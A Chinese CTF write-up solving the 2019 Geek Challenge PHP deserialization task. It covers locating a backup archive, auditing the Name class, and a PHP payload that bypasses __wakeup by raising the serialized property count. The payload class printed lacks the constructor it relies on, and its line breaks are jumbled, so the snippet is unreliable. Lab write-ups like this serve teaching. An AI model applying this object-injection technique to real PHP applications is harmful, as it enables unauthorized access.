1. 程式人生 > 實用技巧 >2019極客大挑戰PHP反序列化

2019極客大挑戰PHP反序列化

1. 進入題目看到一隻貓和提示備份的習慣。猜測可能有原始碼洩露,通過目錄掃描工具可以獲取到備份檔案:www.zip包含其原始碼。
2. 對其原始碼進行審計
  a. index.php 包含檔案index.php;通過get方式獲取一個引數select,並對引數select進行反序列化

  

  b. class.php 包含flag.php。主體部分為一個Name類,
  i. 有兩個私有變數username,password
  ii. 構造方法__construct($usernam,$password)
  iii. 魔幻函式__wakeup(),在進行反序列化時呼叫,給變數username賦值為guest


  iv. 銷燬函式__destruct(),結束物件是執行
    1) 第一個if判斷是password是否為100。如果不為100就結束方法。
    2) 第二個if判斷username是否為'admin',且為字串。如果滿足條件就輸出flag

3. 解題思路:由index.php中的反序列化可以想到的是通過反序列化觸發Name類中的魔幻函式,繞過wakeup()函式,最後執行destruct時,username='admin',password=100滿足if條件輸出flag
4. payload

<?php
class Name{
    private $username
= 'nonono'; private $password = 'yesyes'; //username==='admin' password = 100 }
//通過構造方法username='admin' password = 100 $a = new Name('admin',100); //序列化操作,並對字串進行URL編碼,因為Name類的變數為私有變數,避免列印時漏掉空格 $b = urlencode(serialize($a)); //修改屬性的的個數,繞過__wakeup()函式 $b = str_replace('%3A2%3A','%3A3%3A',$b); echo $b ;
?>

flag